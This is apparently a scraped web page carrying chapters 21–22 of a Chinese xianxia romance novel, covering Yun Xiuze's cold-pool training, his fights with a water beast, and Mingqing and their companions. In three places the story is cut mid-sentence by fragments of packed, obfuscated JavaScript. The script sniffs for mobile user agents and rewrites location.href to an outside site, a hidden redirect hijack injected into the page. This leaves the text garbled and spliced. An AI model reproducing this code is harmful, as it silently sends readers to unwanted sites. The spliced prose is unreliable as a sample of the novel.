“呵。”云修泽扯了扯嘴角。 唐思月笑的温柔:“来吧,云大哥。” 不知道发生了什么,总之等明青晚上再见到他时,他就是一脸菜色,欲吐不吐的难受模样,明青心中偷笑,面上没露一点表情。 “山下来的信,给你的。” 云修泽从她手中接过信封,拆开足足有四页,云修泽动作顺畅的将前三页阴阳怪气,拐着弯骂他的话翻过去,最后一页才是柳恒舜说的正事儿。 他将后续的事情简单说了一下,并说自己还有其他的事,说既然他们已经找到了人,他就不准备在这里待那么久了,不过他强烈的要求走之前见一见能让云修泽动心的姑娘。 云修泽将信收起来,决定无视他的话。 明青安静的坐在他旁边,夜色下,她的额珠流转着淡淡的光芒,与她的美映衬着,宛如一幅美好的画卷。 看是绝对不可能给看的,云修泽冷静的想,他恨不得一人私藏。 “今日早睡,明日我先带你去寒潭。” 云修泽又想到了那本妖物图解上的话,勾了勾唇角,见明青投来不解的目光,轻咳两声没有跟她解释。 “一上来就去寒潭?” 明青轻轻嗯了一声:“我以前常在那边修炼,你只要能适应那里,普通的水就没有问题。” “好吧。” 明青站起身准备离去:“好梦。” 云修泽笑眼追随者她的动作,重复道:“好梦。” * 寒潭不算很大,但却很深,水是冰蓝色,只是靠近便能够感到刺骨的寒意。 云修泽站在明青身侧,总觉得这里的气息有些熟悉,但又说不上来是什么,按理来说他从未来过周天山,为何会对这里的寒潭感到熟悉? 他皱着眉,想了一会儿也没想到什么,于是去问明青,明青提了提腰间的深流。 “深流的铸造材料取自这里。” 云修泽恍然大悟,怪不得呢,深流的剑身有一种淡淡的寒意,划出的伤口也会凝结一层浅浅的冰霜,原来竟是出自这里。 “怪不得你会为它取名深流,原来它的剑材竟然来自这里,光而不耀,静水流深【注1】,是个好名字。” 明青轻抚着剑鞘上深流的名字,轻轻嗯了一声:“多谢。” “你之前说在这里修炼,莫非剑材是你自己取出的?” 明青颔首,解释道。 “我那时想要一把自己的剑,师傅便让我自己来取,若是能取到,他就亲自给我锻造。” 她想了想,又接着说。 “剑材深埋寒潭潭底,我那时虽然每日都来这里修炼,但从未进过那么深,为了取它,我也花了七天左右的时间,才勉强取来,你从未来过,只怕要更久些。” 云修泽点点头,笑道。 “我知道了,这点儿决心跟耐心我还是有的。” 云修泽开始在寒潭边上打坐,一坐就是一整天,有的时候回来,身上都挂满了冰霜。 明青并不是一直都陪着他,但每天都会过去几趟看看他的情况,云修云和行愿有的时候也会一起去,唐思月则受不了那里的寒气,从来不会靠近。 就这么过了几天,等明青又一次去看他时,就发现他半个身子都泡在寒潭水里,闭着眼睛,身上不断有寒气涌出。 明青一惊,以为他是怎么了,正准备去救他,云修泽就微微睁开了眼,冲她笑了笑。 还活着,明青冷静下来,仔细看去,发现他正在运转功法,将涌入体内的寒气不断的向外逼出,饶是如此,他的面色还是被冻得苍白。 他就这么在水中待了一个时辰左右才出来,虚弱的爬上岸,明青拿出一件大氅披在他身上,柔软又温暖的东西覆上来,瞬间就让云修泽好受了不少,他的嘴唇都是白的,扯了扯那件大氅,还有余力跟她开个玩笑。 “这么关心我?这个时节,竟还备了大氅。” 他话说的好像很轻松,但仔细看的话,就能发现他的眼神已经有些涣散了,手也不自主的抖着,明青默默的看着他。 “你在里面待了多久?” 云修泽本能笑了笑:“两个时辰,比昨日又多了半个时辰。” 明青一下将手握紧了:“你昨日也进去了?” 云修泽迷迷糊糊的,还记得看看她的脸色。 “你放心,我有分寸。” 明青松开扶着他的手,神色十分冷淡。 “你的分寸就是不把自己逼到极限不出来是吗?” 云修泽敏锐的察觉到她好像有些生气,但他现在被寒潭冰冷的灵气冲击的意识模糊,往日擅长说话的他,此时却不知该怎么办,只能轻轻勾了勾她的手,模糊不清的向她保证。 “我错了,没有下一次。” 明青被他触碰的手微微一动,正准备去看他,云修泽却一个泄力晕了过去,明青连忙将他扶住,默默叹了一声,架着他离开了这里。 不远处,央玉正和唐思月站在一起,碰巧见到这副情景,幽幽说道。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950947|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这种女儿被拐跑了的心情是怎么回事儿?” 唐思月笑他:“司命大人居然还会有这种心情啊。” 央玉仰天长叹。 又过了一阵子,云修泽开始完全进到水里,他尝试在寒潭水中睁眼视物,却每每不得要领,双眼疼痛难忍,只能以失败告终。 云修泽从水中冒出头来,微微有些喘息。 “你做什么呢?” 云修泽回头看去,央玉蹲在那里,正托着腮问他。 “先生,我无法在水中视物,连这个都做不到,就更别提在水中发挥实力了。” 他说的面无表情,央玉却觉得他好像有点委屈,十分有意思,笑道。 “这是万年寒潭,做不到很正常,其他的水你可以做到,执着这个干嘛?” 云修泽抿抿嘴,像个孩童一样执拗的想要得到最好吃的糖果。 “既然做了,我就一定要做到最好,而且我的时间不多。” 央玉一乐。 “也不知你这样是好是坏,罢,既然如此,你可知道寒潭的水和普通的水最大的区别是什么吗?” 云修泽想了想:“......冷?” 央玉伸出手指摆了摆。 “不,是灵力,这可是万年的寒潭,它所积攒的早已经不是普通的灵气,现如今它能安静的呆在这里,而非将方圆十里化作冰天雪地,是因为这里被昆天谷的第一代谷主下了禁制,你只知道用灵气护体,但若是想在一口含有攻击性灵力的水潭中来去自如,你做得还不够,必定要成倍的调动自身的灵力主动去和它对抗。” 云修泽顿了顿,只觉得自己脑袋怕是被冻坏了,连这个也没想到。 “多谢先生,我竟没有想到。” “你第一次接触寒潭,容易被它的灵气无声无息的侵蚀,思绪慢些也是正常。” 云修泽甩甩头发上的水:“原来是正常的,我还以为我傻了呢。” 央玉被逗笑了,这副模样可不就是傻了。 “行了,去试试吧。” 云修泽点头,一个猛子又扎了进去,沉到水中,静心感受周围灵气的运行流动,他调动体内的灵力覆在双眼上,随着双眼睁开,一层一层的叠加,成功是成功了,就是灵力消耗剧烈,根本无法久待。 云修泽爬上岸,跟央玉说了说这个问题,央玉站起身,拍拍衣服,准备离开。 “怎么最低损耗的运用灵力得看你自己了,练吧你就。” 云修泽不知是不是冷的,抖了抖,有种重新被师傅支配的恐惧感。 他不知道该怎么做,就日复一日的尝试,明青常常陪着他,云修云很怕冷,唐思月本来以为他不会坚持太久,可他却出乎意料的每天都会去寒潭那儿修炼一段时间,其余的时间不是拉着行愿切磋,就是去找央玉寻求指点。 央玉也乐的陪他玩儿,但他这个人教人,很少会直接告诉对方什么是对,什么是错,总是指出云修云的薄弱点,就将他扔在一边,让他自己领悟。 云修云有一段时间被他这个教法折磨的苦不堪言,问了明青,她竟说自己从前也是如此,倒是没觉得有什么不适。 比起央玉的做法,似乎这话对云修云的伤害要更大一些,他跑去找唐思月哭诉,唐思月觉得他是来撒娇的,安慰了几句,发现没有效果后,才不紧不慢的跟他解释。 “你要知道,每个人的道都是不一样的,你有自己的风格,他也不是你的师傅,能为你做的,就是指明你的弱处,若是他按照他的道,直接告诉你该怎么做,你反倒会混乱。” 云修泽撑着剑,将下巴放在上面,脑袋晃了晃,安静了一会儿,笑道。 “思月,我不如你良多。” 唐思月正在烹茶,闻言笑了笑。 “你只是不愿多想罢了,云大哥为了司命给的任务忙成这样,你倒也不曾闲着。” 云修云向后靠在椅背上,眼睛放空在她的动作上。 “我从小到大都不如大哥,爹娘也没对我寄予什么厚望,可就算不能超过他,我也绝不愿被他落下。” 唐思月烹好了茶,给他递了一杯。 “做你自己就很好啊。” “不。”云修云眼中透露出一种和云修泽相似的执拗,“如果能做到最好,我就不会在半路停下。” 他看着唐思月拿着茶杯的手:“我也有我想证明的东西,也有想要保护的人。” 他的眼神变得坚定锐利,像是一头已经开始试着对外界张牙舞爪的狼崽。 唐思月垂眼微微一笑:“的确,有变强的心总是好的,加油吧。” 人总要有自己愿意为之奋斗的东西,这不是坏事,只有强大一点,再强大一点,才能守住自己想要的东西,不然...... 等在前方的,就只有万丈深渊。 21. 孚望二十一 云修泽完全适应寒潭用了十九天,速度不可谓是不快,就连央玉私下里都和明青说,云修泽这个人,心性坚韧,悟性极高,而且很适应这种高度集中的修炼。 这样虽好,但同时也有一个坏处,那就是他很容易将自己逼到崩溃,虽然千人万象,每人的性格都各有优缺,但如果明青日后要和他们建立长久的信任关系,在这一点上,就少不得要多加看顾。 十九天,在万年寒潭的辅助下,云修泽的灵力又上升了一个层次,他的轻功在水中无法使用,但身法灵巧的优势依然还在,跟篪正面硬刚显然不是一个很好的选择,还是要以贴身周旋为主。 这日,云修泽找到央玉,他正躺在美人榻上,脸上蒙着白绫,看不出是睡着了还是醒着在晒太阳。 “先生?”云修泽轻轻喊了一句。 “准备好了?” 是在晒太阳。 “是,子竹准备一试,不知那凤引花是何模样?前几日我曾在藏书楼中寻找,却未能找到有关它的记载。” 央玉脸上带着懒散的笑意。 “你倒是很有自信,是觉得自己一次就能过去吗?” 云修泽摇头,想了想说道。 “单凭我在水中的实力,第一次肯定是过不去的,不过凡事无绝对,运气也是实力的一部分。” 央玉哼笑两声:“行吧,不过你也知道我想干什么,就算你运气好,过去了,我也会把你扔回去的。” 他抬手止住了云修泽的话,说道。 “好了,我会让明儿陪你同去,关于凤引花,你就问她吧。” 云修泽见他不想多说,就只能道。 “是,子竹告退。” 云修泽转身想要去寻明青,却发现明青就在不远处等着他,她冲央玉遥遥行了个礼,央玉挥挥手示意他们自行离开。 云修泽快步走到明青身边。 “你都听到了?” 两人边走边说。 “嗯,师傅嘱托过我,让我陪你去。” 云修泽听了,便与她开玩笑说道。 “若没有先生吩咐,想必你也会陪我去的吧。” 明青瞟了他一眼,没搭理他,反而拿出一张图纸递了过来,云修泽接过展开,画的正是一朵他从么见过的花,朱红色,有茎无叶,花瓣的样子形似凤凰尾羽。 明青目不斜视的解释道。 “凤引花,世间所罕见,对于生长环境的要求极为苛刻,昆天谷培育几十年,也只得了三株,现下还在松林中的只有两株了,是昆天谷最珍贵的灵物。” 云修泽仔细看着凤引花的模样,作为世家大族倾尽心血教导的公子,他从未见过这花,连听说都是第一次,这足以证明它的稀少。 “它的功效是什么?” “引魂。” 云修泽拿着图纸的手一抖,震惊的去看明青。 “你说什么?引魂?” 明青点头:“魂飞魄散之人,若有此花,则还有一线生机。” 云修泽捂着嘴,无数思绪在脑海中飞快的闪过,自言自语的说道。 “这可算得上是稀世珍宝了,先生为何要我采来?昆天谷竟然也给吗?他的行为都有他的用意,这个是为了什么?是明青?还是我?又或者是谁?以后会遇到此等危难吗?” 他想了会儿,还是觉得先算了,现在想什么都没用,就算去问,央玉也肯定不会告诉他们,兵来将挡,水来土掩,思虑太过有的时候也不是什么好事。 云修泽甩甩头,引来明青的目光,他冲她笑笑,没说什么,两人御剑飞行,不一会儿便到了悬练。 他们在水边站定,水面还是平静无波,谁又能想到,水下藏有一只轻易便可夺人性命的篪呢。 “我在旁边等你,你放心,师傅已经提前交代过了,它不会伤你性命,但受伤恐怕是在所难免了。” 云修泽苦笑,不伤他性命?这就有点打击他了,好像他很弱一样,不过那只篪的确很厉害,他还是不能掉以轻心。 “放心,我不怕受伤。” 明青听他这么说,犹豫了一会儿,还是低声说道。 “尽量少受伤。” 云修泽准备入水的脚步一顿,回过头来,站的离她近了些,伸手顺着她的手掌往下滑,勾了勾她的手指,承诺道:“我会的。” 明青躲避他的视线,虽然没有制止他的动作,但也只待了一会儿,很快就将手抽出来背到了身后,后退几步,小声说道。 “快去吧。” 云修泽笑了笑,转身时面上却又恢复了肃然,他重复之前的步骤,御剑飞到水潭中央,静静的等待着篪的到来。 水面没有任何阴影波动,云修泽却突然侧身闪躲,一条长尾在他躲开的下一秒,就从他原来所在的地方划过,狠狠拍入了水中,是那只篪在故技重施,可云修泽上过一次当,又怎么会上第二次。 他不仅飞快的躲开了这条尾巴,而且还果断的追着这条尾巴进到了水中。 在入水的一瞬间,云修泽就调动体内的灵力附在了双眼之上,在这里的水中视物,可比寒潭要轻松许多,篪的尾巴上也有细细的鳞片,但比它身上的看上去要柔软很多。 云修泽紧紧追着那条尾巴,就在要碰到它的前一秒,这条尾巴就以云修泽看不清的速度迅速的甩开了,他知道,篪的下一个动作必定是来攻击自己,于是马上向下潜去。 在下潜的过程中,有一双澄黄色的眼睛,在一片漆黑的水中,面对着云修泽,骤然睁开。 云修泽心中一惊,这只篪竟然还预判了他的行动! 它满嘴利齿向他咬来,他们之间还有点距离,云修泽干脆借助水流的推波助澜,让褚闲的剑尖对准它的左眼,不退返进,向它刺去。 篪的内丹虽然在它的左眼,但它左眼的防御力很高,除非褚闲蓄满灵力,正正的刺上去,否则也无法伤它分毫,可偏偏它对它这个要害紧张的很,哪怕知道不会受伤,也会忍不住躲闪。 云修泽这个举动算是兵行险招,如果篪克服了恐惧,没有躲开,那么他必然会受重伤,可篪躲开了,正如他意料的一般。 云修泽擦着它的头颅躲过去,它的身躯很庞大,云修泽在水中无法看清它的全貌。 不过大也有大的好处,至少给云修泽借力的地方就会变多,云修泽在躲开的同时转手按在它身上,一点儿借力便可以让他在水中翻身,同时用褚闲刺向它的身体,它的身体被硬度很高的鳞片覆盖,此举伤不了它,云修泽的用意也不在于此。 褚闲和它的身体碰撞,借着反弹的力道,云修泽又一次在水中改变了自己的位置,躲开了篪回头反咬的一口。 正当云修泽准备再次改变位置,去找它的尾巴的时候,篪突然以极快的速度摆动身体,云修泽躲闪不及,被狠狠撞开。 霎时间,喉中便涌上一股腥甜,还没等他的身形稳定,血盆大口便又在眼前! 唐思月一下站起身来,皱着眉就要离去,央玉立马按住她的肩膀,一旁的云修云和行愿也跟着站了起来,她神色不虞的转头去看央玉,央玉面无表情摇了摇头。 “他总要自己面对危险,不然谈何成长,你要相信他。” 唐思月转过头去不再看他,轻声说道。 “命是最重要的。” 央玉重新笑了笑,带着她坐下了,安抚道。 “你明知篪不会杀他,何苦这么担心,况且,又有谁不会惜命呢?” 四人中间,有一帘水幕,静静立在空中,上面出现的,正是云修泽的身影。 央玉说的很对,谁不会惜命呢?云修泽就觉得自己挺惜命的。 他以左臂一条长长的伤口作为代价,从篪的口中逃了出去,血雾在水中弥漫着,唇色因为快速失血而开始泛白,他的脑海中,明青刚刚的模样一闪而过,但没有时间给他多想。 篪的身躯庞大有力,他不能让它拉开距离,给它施展的空间,云修泽不断的与它周旋着,对于篪来说,他就像是一个抓也抓不住,打也打不中的虫子一样。 篪要烦死了! 在云修泽又一次落在它身上后,篪忍无可忍,用尾巴对着他的位置狠狠抽了下去。 啪!!! 在水中,这个声音略微显得有些沉闷,云修泽打的就是这个主意,等的就是这个时候。 他飞快的躲开了,篪这一尾巴,完完全全打在了自己身上。 这一击若是打在云修泽身上,恐怕会让他断几根骨头,但打在它自己身上,便只是流了点儿血,仅仅是皮肉伤。 篪受了伤,不依不饶又来追他,云修泽身上虽然已经有不少伤口了,但掂量了一下,觉得自己应该还能再撑一撑,于是也不急着跑,继续耐心和它周旋。 等他终于浮上水面,准备上岸时,已经是漏夜时分。 此刻,正碧落尘空,光摇半壁,月在万松顶【注1】,美景无双。 明青一只手放在腰间的剑上,身姿亭亭立于岸边,泛起的水浪再有一寸便可挨到她的鞋尖。 这里除了云修泽自己出水带起的声音,明明还有悬练激烈的水流不断撞击发出的哗哗的声响,可他就是觉得很安静,除了他们两个,像是再没有其它。 就这么神奇的,他立刻脱离了刚刚水下厮杀的激荡,猛然被面前美如仙境的画面抚平了心魄。 明青静静的看着云修泽,他的脸上还有一道血痕。 “没事吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“......它老打我脖子。” 明青低下头,云修泽皱着眉弯腰去看她的表情,明青就扭过身去不让他看,云修泽狐疑。 “你是不是笑了?” 明青忍了忍,尽量平静的说:“没有。” 云修泽不信:“你就是笑了!你居然笑我!” “你怎么会编女孩子的头发?” 云修泽挑眉:“这就说来话长了,以后有机会和你说,不过肯定没有什么红颜知己就是了。” 他撇的干净,明青背对着他直往前走,云修泽跟上去,还是在纠结她有没有笑,明青的声音带了淡淡的笑意。 “你猜?” “又猜啊......” 他们的背影渐远,云修泽编的辫子在明青身后微微甩动,没有被她拆开。 等两人找到央玉四人时,他们正聚在一起,云修泽看到了桌子上放的子母镜,无奈笑道。 “不是吧?你们还真围观我挨打啊。” 央玉将镜子收了起来。 “这是自然,有热闹谁不凑啊?这种乐子怎么能放过?” 在场也就他能笑得出来了,云修云表情带了点儿忧色,过来要搀扶他,在他的记忆中,他哥少有受这么多伤的时候。 云修泽其实自己完全没有问题,但苦于弟弟一片孝心,还是没有拒绝他。 唐思月简单看了一下他的伤口,说:“回房间吧,包扎一下。” 说完,她又回头看向央玉。 “司命大人就此止步吧,夜深了,早些回去休息。” 这话说的可不算太客气,除了明青,剩下的几人都悄悄看向央玉。 央玉的脸色一点儿没变,他虽看不见,却也大概知道几人的反应,耸了耸肩,笑道。 “别担心,美人在我这儿是有特权的。” 他自己就是个美人,夸起别人来,总能叫人受宠若惊,可唐思月不吃这一套,难得的耍了个性子,只见她轻哼一声,扭头就走了。 她这一面很少见,几人跟央玉道了个别,便去追她。 云修云满脸新奇,立刻就把他哥抛到了脑后,左右围着她转圈儿的哄她开心,像个小狼狗一样期待主人的抚摸。 失去弟弟搀扶的云修泽心痛难忍。 唐思月似乎挺吃云修云这套,很快便被他逗笑了,一行人回了云修泽的屋子,唐思月净了净手,一边擦着一边对着床上的云修泽说道。 “脱。” 22. 孚望二十二 屋中一片寂静...... 唐思月看几人都没什么动静,于是温和的劝道。 “医者面前无男女,不用害羞,云大哥这个伤口是必须要包扎的,有些伤口还要酌情用药处理,不脱怎么弄?” 云修泽神色不自然的咳嗽了两声。 “我知道了,那什么,明青你先回避一下。” 明青看了看他,点点头离开了这里。 云修云和行愿倒是没有回避,不是必须唐思月上手的事情,他们就顺手帮忙做了。 云修泽转过身褪下贴身的中衣,唐思月取药的手一顿,云修泽的后背上有一道从左肩一直延伸到后腰的伤口,如此严重的伤口,他竟一声不吭忍到现在,也没有被人发现。 云修云惊呼:“哥!” 云修泽动了动肩膀,轻轻嘶了一声,笑道:“喊什么?没什么大不了的。” “既然如此,为什么不告诉我?” 云修泽一惊,明青慢慢从屏风后面绕出,眼神定定的看着他,云修泽无奈笑道。 “不都叫你出去了,怎么又跑回来了?” 他的身材很好,线条修长却暗含着强劲的力道,身体每一块肌肉的大小和分布都因为修炼而趋于完美,平日里穿着衣服只觉得清瘦,此刻脱了下来,后背的宽阔有力便一览无余,本来应该十分的赏心悦目,却有一道狰狞的伤口破坏了这具好看的身体。 “你从水中出来便没有背对过我。” “我已经在尽力不让你起疑心了。” 云修泽莞尔,明青的洞察力比他想象的还要强上一些。 篪本身是含有微毒的,被它弄出来的伤口经过了这短暂时间的沉淀,都开始微微泛紫。 “趴下。” 唐思月取出一套蜀羲鱼骨制成的骨针,在云修泽的伤口处各扎了几针,还没等她施法逼毒,毒气便自己缠绕着骨针从云修泽的体内缓缓溢出,颜色恢复正常的伤口也没有出现渗血的情况,就像是伤了已经有一段日子了一般,愈合的很快。 唐思月的手一顿,拉过云修泽的手腕为他把脉,确认没有什么异常后问道。 “你虽然中了毒,但是毒气运行缓慢,拔除的很容易,而且伤口愈合的很快,这是为什么?” 云修泽也没什么好瞒的,解释道:“母亲体质特殊,我也得了些好处罢了。” 他摸摸左臂的伤口:“不过好像也和我自己的实力有关,最近修炼的不错,愈合的速度也快了很多。” 明青一直没有靠近,站在稍远处观察他的情况,听他们这么说,便走近两步看了看,发现他的伤口的确已经在愈合了,心中不由自主的松了口气。 云修泽发现了她的举动,说:“你看,我说过我不怕受伤,因为好的很快的。” 明青去看唐思月,两人对视一眼,唐思月点点头,伸手就摁在了云修泽身上的一个穴位上。 “嘶啊——疼疼疼!我错了我错了,两位姑奶奶,疼,我知道疼!” 云修泽趴在床上,一只手不断拍着床榻,表情微微扭曲,豆大的汗珠在短短时间内就出现在了他的脸上,被按的直直痛呼。 云修云在旁边围观,见到这幅惨象,不由自主打了个冷颤。 “知道疼就好。”唐思月说。 明青看着他,也道:“知道疼就不要这么不给自己留余地。” 云修泽苦笑,两个姑奶奶,他一个都招惹不起。 云修泽这次伤的不轻,纵使恢复力异于常人,也还是被按在周天山上老老实实修养了几天。 云修云这段日子常常泡在藏书楼,根本见不到影子,也不知在研究什么,唐思月则清闲很多,行愿向来是寸步不离的跟着她,但相比下来,这里最闲的,还是央玉,所以云修泽常常能看见他们三人凑在一起。 这日,云修泽正在打坐,忽然感到一股强大的灵力波动扫过他的身体,他一路循着灵力的源头找过去,发现竟然是央玉在舞剑,唐思月正在一旁为他拨弦。 这就很稀奇了,唐思月虽然是以琴为武器,但平日无事时是很少拨弄琴弦的,两人今日不知怎么的,竟然都来了雅兴。 他们凑在一起的次数似乎有些频繁了。 这个念头在云修泽的脑海中一闪而过,但又想到几人的情况,倒也是正常的。 云修泽在一处不碍手的地方站定,央玉的实力有多强他不好说,但看他舞剑,自身也必然能有所收获。 不多时,明青也找了过来,两人在一处站着,明青定定看了一会儿,小声说道。 “上一次我见他舞剑,是在六年前。” “知音难得。” 央玉的身姿飘摇,还带了些醉酒之意,看此剑法便知他的潇洒随性,剑出即啸,宛若游龙清影,下一刻,却又猛然乍现杀伐之意,锐意难挡! 唐思月的琴音伴随着他的剑法,时缓时急,既有垂手登仙的洒脱,也有攻伐果决的魄力,两人算得上是相辅相成,可毕竟唐思月尚且年少,有一些地方衔接的十分微妙,若是有别的乐器倒可为她添补,与她配合,现下却算不上圆满。 明青的剑法中,有一些央玉的影子,可两人又并不完全相同,明青自己的一招一式中,还隐隐有些大气磅礴、光明磊落之感,两种截然不同的风格,被她揉杂到一起,成了她自己的东西。 也许和她没有说出口的秘密有关。 “哈哈哈哈!月儿,琴音不错,用来打架,暴殄天物!” 央玉显得十分痛快,一曲毕,才发现旁边已经无声无息的站了四个人。 云修云最捧场,他真诚的惊叹道:“司命大人好剑法!思月也很厉害!” 他们要叙话,便有莨鸟为他们摆了茶水点心,唐思月收起古琴坐了过来,央玉手快,先倒了杯茶一饮而尽。 “我很久没有听到这样可称无双的琴音了。” “司命谬赞了。” 云修泽突然想起他第一次去藏书楼时,在一堆画着宝剑的图纸中,看到的一些其他各式各样的武器样式,他想了想,问道。 “先生,我之前无意中看到了您画的武器图样,不知为何还有那么多稀奇古怪的武器?” 央玉理所当然道。 “现在不比从前,如今算得上是十分太平,人们也多走君子之道,不屑于玩儿偷袭什么的,之前就不同了,那时的人们以活命为主,武器求的就是伤人,也不羁什么方式,身上抖三抖都能掉出不少小东西来,自然花样百出。” 他说的随意,却不曾想云修泽的下一句话便叫几人陷入了沉默。 “先生铸剑无数,可曾见过,镜双子的剑?” 央玉放下茶杯,表情看不出喜怒,问道:“名满天下,你觉得我见过吗?” 这句话说的模糊不清,云修泽也没有细问,转口问道。 “剑名为何?” “泼天掩日,立而却邪,这两把剑如此出名,你们稍加打听也可知道。” 云修泽笑了笑。 “您既然在这里,我们又何必舍近求远,掩日,却邪,看来是有典故了......” 央玉微微笑起来:“怎么?你也开始在乎他们的实力了?” 言下之意便是,你不准备看一眼就走了? 云修泽一噎,拿不准他是不是心情不好,当着明青的面拿这话问他。 可机会难得,面前这简直就是一个百事通,不好好利用,怎么能够消除心中被他随意摆布的不快呢? 云修泽无所畏惧。 “您也说了,之前的人们武器花样百出,那镜双子除了剑,可还有其他的武器?” “自然有,帷灯、浮犀,这两个世人只知其名,未曾见过它们是什么,说是什么的都有,还有,斜月会用一把弯刀,倒是没听说过有名字,剩下的就不知道了,毕竟他们最常用的还是剑。” 云修泽转了转手中的茶杯,追问道:“世人不知,您也不知?” 央玉笑的邪气,拍拍云修泽的肩膀。 “拿我当百事通用呢?” 察觉到危险,云修泽讪笑。 “怎么会,先生多虑了。” 可惜了,他本还想多问一些事儿呢,虽然大概率不会告诉他,但架不住人都有好奇心,总想试一试,万一说顺嘴了就告诉他了呢? “你还是先想想眼前的事儿吧。”央玉摆着手,收起剑一甩拂尘,就跑了。 云修泽被拂尘扫了一脸,无奈的低头抹了一把。 这里又只剩他们五个了,他们互相看了看,不知谁先起头笑了起来,几人虽然住在一起,但都各自忙碌,倒是有一段时间没凑的那么齐了,都将自己最近所得说了一通,最后在一起用了午膳。 下午,云修泽的伤总算得了唐思月松口,当即重振旗鼓,又去挑战篪。 正如云修泽所说,他受的伤一次比一次少,从一开始的间隔至少五天,到后期基本每天都去差不多只用了一个月左右的时间。 云修泽依然没能到达对面的松林,但他已经能够在水中游刃有余的和篪对战。 央玉在水幕前托着下巴,笑道:“进步神速啊。” 这一个多月相当艰难,有几次可以说是差点丢了性命,他在水中不得要领,偏偏又爱自己研究,有的时候倒真能悟出来,但有的却死活都不明白。 央玉并不管他这个,只等他问到自己头上才会指点两句,久而久之,他也就没有那么死脑筋了。 至少在这里是。 云修泽从水中爬出来,没受什么伤,但是累的够呛,他躺在岸边,明青就在他身边坐下,等着他平息自己的状态。 云修泽仰躺着喘息,瞳孔中映着碧蓝的天空,视线所及,他能看到一个昆天谷内门弟子御剑进了森林。 “你说我每天在这里折腾他们的看守者,这么多弟子,竟然没有一个提出异议的。” 明青示意他看自己腰间银紫色的令牌,说道。 “这也是昆天谷的弟子令,不过代表的是司命,比较特殊,绝大多数弟子不知道司命的存在,但看到这种腰牌,都会避让。” 云修泽拨弄了两下,笑着说:“那就怪不得了。” 他看起来心情不错,一个鲤鱼打挺就站了起来。 “走吧,陪我去找思月。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950949|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你受伤了?” “哈哈哈,别担心,我没受伤,只不过时候差不多了,没准儿下一次我就能进到松林了,不是说那里面毒物很多吗?总要做些准备的。” 他开怀的笑着,成功近在咫尺,尽管只是第一层成功,但付出了那么多努力,也不禁叫他开怀。 看他这样,明青也被他感染的心情明朗了几分,两人一路御剑回了周天山。 云修云正在和行愿切磋,这段时间进步的不止有云修泽,每个人都或多或少的获得了成长,这点在云修云身上很显著。 别看他平日里总是和云修泽犯傻,但认真起来,其实是比较强势的,同时他的性格也有一些急躁,从他打起架来只攻不守这一点就能很明白的看出来,他的进攻甚至比云修泽还要凌厉几分,原本弱在速度,但最近也提高了不少。 他的目光认真,眼中只有剑和行愿,两人打起来,正是刀光剑影,铿锵的兵器声不断。 云修云这个打法优缺点都很明显,首先气势很强大,容易震慑对手,其次能够打乱对手的节奏,从而短时间内拿下胜利。 缺点也就在于此了,如果短时间内不能取得胜利,一旦时间拖延过长,就会很轻易落败,而且只攻不守,也很容易让他自己受伤。 云家曾经数次试图改变他这个打法,他也会跟着学,但无奈打着急了,还是会变成这个样子,直到思月出现,见他总受这样的冤枉伤,跟他生了几次气,他就强迫自己改掉了,现在也只有和自己人切磋时才会偶尔这样。 云修泽感叹,父亲母亲,你们还是败给了美色无边啊。 两人找了找唐思月,却根本没能见到人,云修泽摸着下巴,惊奇道。 “思月竟然不在吗?行愿竟然也肯离开她?” “我在这里。”唐思月的声音远远飘来。 两人顺着声音抬头,就发现唐思月不知怎么上了树,又在上面干什么。 两人刚刚就在这里到处找她,她明明看着,却到此时才出声提醒,吐了吐舌头,像是一个成功搞了恶作剧的小姑娘一样,眼里尽是笑意。 云修泽哭笑不得:“小姑奶奶啊,你怎么上去的?” 唐思月没回他的话,反而冷不丁的就往下跳,这树高的很,她又不像几人一样体魄强健,纵使有灵力护体,这么结结实实的摔在地上,恐怕也要受伤。 云修泽和明青都被她吓到了,下意识要去接她,行愿却不知什么时候结束了切磋,出现在树下,唐思月就稳稳的被他接在了怀里。 她从行愿身上下来,就见云修云也一脸惊魂未定的跟着跑过来。 “你这是干什么!有多危险你不知道吗?” 云修云跟她说话的语气难得冲了些,见吓到他们了,唐思月面上有了些悔意,可怜巴巴的跟他们道歉。 “对不住,我知道你们会接住我的,我体弱,父亲从不让我干这些,可其他孩子玩的那么开心,我总是忍不住羡慕。” 这谁顶得住,反正云修云顶不住,当即变了个模样,温言细语的去哄她。 见他这个样,云修泽和明青对视一眼,明青眼中带着笑意,云修泽就直接笑了出来,的确,他们每个人都有上树的习惯,也是苦了她‘压抑天性’。 “你就因为这个上去的?”云修泽问。 唐思月摇摇头,拿出从树上摘的一朵花。 “我听司命大人说,这种树叫樊芝,五年才开一次花,用来酿酒别有一番风味,我从来没见过这种树,也没试过酿酒,所以想试试。” 云修泽接过那朵花闻了闻,的确有一种浓郁且特殊的气味。 “酿酒可不是一天两天的功夫,我们在这里待不了那么久,你酿了不也喝不了吗?” 唐思月将花朵捧到鼻尖嗅了嗅,笑道。 